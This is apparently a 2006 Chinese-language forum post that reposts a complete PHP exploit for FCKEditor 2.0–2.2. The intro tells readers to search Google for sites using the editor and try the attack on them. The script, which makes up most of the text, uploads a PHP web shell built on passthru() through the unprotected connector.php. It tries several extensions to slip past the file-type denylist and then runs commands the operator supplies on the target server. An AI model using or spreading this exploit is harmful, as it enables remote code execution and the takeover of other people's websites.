FCKEditor在线编辑器上传利用程序

2006-02-14 10:55:04 by: h4x0r

FCKEditor在线编辑器上传利用程序

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通杀版本：FCKEditor 2.0 <= 2.2

利用方法：http://网站地址/FCKEditor/editor/filemanager/browser/default/connectors/php/connector.php

大家可以去Google搜一下,NB文章系统,因为它就是用的FCKEditor在线编辑器,总之很多文章系统，整站系统，Blog都是用的FCKEditor吧，自己试一下。

程序演示地址:http://www.21o.net/FCKEditor.php

下面是利用php脚本写代码

<?php
# ---fckeditor_22_xpl.php 15.38 04/12/2005 #
# #
# FCKEditor 2.0 <= 2.2 shell upload #
# coded by rgod #
# site: http://retrogod.altervista.org #
# #
# usage: launch from Apache, fill in requested fields, then go! #
# #
# Sun-Tzu: "Security against defeat implies defensive tactics; ability to #
# defeat the enemy means taking the offensive" #

/* -> a short explaination: if a user cam call directly

http://[target]/[path]/editor/filemanager/browser/default/connectors/php/connector.php

he can upload malicious contempt on a target server, including arbitrary
php code, and launch commands on it

this works when php connector is enabled in config.php and when, ex.,
in Apache httpd.conf "AddType application/x-httpd-php" directive we have
an extension not specified in FCKEditor Config[DeniedExtensions][File]
array.

However, FCKeditor is integrated in a lot of applications, and if you
succeed to upload the shell (see details in the output of this script)
search for a local inclusion issue inside of them and include the uploaded
file */

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title> ******* FCKEditor 2.0 <= 2.2 shell upload**************
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important}   h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
******* FCKEditor 2.0 <= 2.2 shell upload************** </p><p class="Stile6">a
script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td width="43%">
<form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/FCKEditor/ or just / ) </span></p><p><input type="text" name="cmd"> <span
class="Stile5"> * specify a command</span></p><p><input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value)</span> </p>
<p><input type="text" name="proxy"><span class="Stile5"> send exploit through
an HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit"
value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;$ji=0;$ki=0;$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1){
$dAtAi=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td>  </td>";
for ($li=0; $li<=15; $li++) {
echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
    }
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($dAtAi)==1) {
echo "<td>0".htmlentities($dAtAi)."</td>";
}
else {
echo "<td>".htmlentities($dAtAi)."</td> ";
}
$ii++;$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
echo "<td>&nbsp&nbsp</td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++) {
echo "<td>".htmlentities($headeri[$li])."</td>";
}
echo "</tr></table>";
}

$pRoXy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
global $pRoXy, $host, $port, $pAcKeT, $HtMl, $pRoXy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else {
$c = preg_match($pRoXy_regex,$pRoXy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($pRoXy=='') {
$result = socket_connect($socket, $host, $port);
}
else {
$parts =explode(':',$pRoXy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else {
echo "OK.<br><br>";
$HtMl= '';
socket_write($socket, $pAcKeT, strlen($pAcKeT));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$HtMl.=$out;}
echo nl2br(htmlentities($HtMl));
echo "Closing socket...";
socket_close($socket);
}
}
}

function sendpacketii($pAcKeT)
{
global $pRoXy, $host, $port, $HtMl, $pRoXy_regex;
if ($pRoXy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.htmlentities($host); die;
}
}
else {
  $c = preg_match($pRoXy_regex,$pRoXy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$pRoXy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
  }
}
fputs($ock,$pAcKeT);
if ($pRoXy=='') {
$HtMl='';
while (!feof($ock)) {
$HtMl.=fgets($ock);
}
}
else {
$HtMl='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$HtMl))) {
$HtMl.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($HtMl));
}

function refresh()
{
flush();
ob_flush();
usleep(100000);
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$host=$_POST[host];$port=$_POST[port];
$path=$_POST[path];$cmd=$_POST[cmd];
$pRoXy=$_POST[proxy];
echo "<span class=\"Stile5\">";

if (($host<>'') and ($path<>'') and ($cmd<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
$path=str_replace("\r","",$path);$path=str_replace("\n","",$path);

//modify the shell as you want, this could be written in any language
//if exploit succeeded we will see phpinfo() even, check for disable_functions
//if passthru() disabled, try with system(), exec(), popen() or shell_exec()
$SHELL ="<?php echo chr(72).\"i Master!\";ini_set(\"max_execution_time\",0);error_reporting(0);";
$SHELL.="phpinfo();passthru(\$HTTP_GET_VARS[cmd]);?>";
//we try to guess allowed extensions...
// you should succeed with .php3 for 2.0fc
// " " " " .php for 2.0rc1
// " " " " .php for 2.0rc2
// " " " " .php3 for 2.0rc3
// " " " " .pwml for 2.1 (added some restrictions, but maybe
// this is executable on some machine)
// " " " " .pwml for 2.11
// " " " " .pwml for 2.2
$extensions= array('.php', '.php3', '.php5', '.phtml','.pwml', '.php4', '.php2', '.inc');
//add what you want
//'FileUpload' for versions 2.11 - 2.1 - 2.0rc3 - 2.0rc2 - 2.0rc1 - 2.0fc
//empty for 2.2
$upload_command= array('FileUpload','');
$path_to_shell="/UserFiles/File/"; //default one: if different, script will find it

for ($x=0; $x<=count($extensions)-1; $x++)
{
for ($y=0; $y<=1; $y++)
{
# STEP 1 -> Upload the shell
srand(make_seed());
$anumber = rand(1,9999);
$filename="suntzu".$anumber.$extensions[$x];
$dAtA="-----------------------------7d529a1d23092a\r\n";
$dAtA.="Content-Disposition: form-data; name=\"NewFile\"; filename=\"$filename\"\r\n";
$dAtA.="Content-Type:\r\n\r\n";
$dAtA.="$SHELL\r\n";
$dAtA.="-----------------------------7d529a1d23092a--\r\n";
$pAcKeT="POST ".$path."editor/filemanager/browser/default/connectors/php/";
$pAcKeT.="connector.php?Command=".$upload_command[$y]."&Type=File&CurrentFolder= HTTP/1.1\r\n";
$pAcKeT.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";
$pAcKeT.="User-Agent: Sun-tzu giving you the pain\r\n";
$pAcKeT.="Host: ".$host."\r\n";
$pAcKeT.="Content-Length: ".strlen($dAtA)."\r\n";
$pAcKeT.="Connection: Close\r\n\r\n";
$pAcKeT.=$dAtA;
show($pAcKeT);
sendpacketii($pAcKeT);
if (!eregi("200 OK",$HtMl)) {die("Cannot find connector.php...<br>");}
if (eregi("This connector is disabled",$HtMl)) {echo "Exploit failed... -> php connector not enabled";die;}
if (eregi("url=\"",$HtMl))
{
$temp=explode("url=\"",$HtMl);
$temp2=explode("\"",$temp[1]);
$path_to_shell=$temp2[0];
}
echo "<br>path where I search shell: ".htmlentities($path_to_shell)."<br>";
# STEP 2 -> Launch commands...
#by default a "UserFiles/File/" dir is generated inside site root when you upload
#files, this dir is not protected by an .htaccess file or whatever
$pAcKeT="GET ".$path_to_shell.$filename."?cmd=".urlencode($cmd)." HTTP/1.1\r\n";
$pAcKeT.="User-Agent: GoogleBot/1.1\r\n";
$pAcKeT.="Host: ".$host."\r\n";
$pAcKeT.="Connection: Close\r\n\r\n";
show($pAcKeT);
sendpacketii($pAcKeT);
if (eregi("200 OK",$HtMl)) {
if (eregi("Hi Master!",$HtMl))
        {echo "Exploit succeeded...<br>";
         echo "we have a shell in http://".$host.$path_to_shell.$filename."<br>";
         echo "we should have phpinfo() here, see html...<br>";
       die;}
else {echo "Successfully uploades...<br>
       but is not an executable on target server...<br>";}
}
refresh();
}

}
#if you are here...
echo "Exploit failed...";
}
else
{echo "Fill * required fields, optionally specify a proxy...";}
echo "</span>";
?>

# 21o.net

[Last Modified By h4x0r, at 2006-02-14 11:01:12]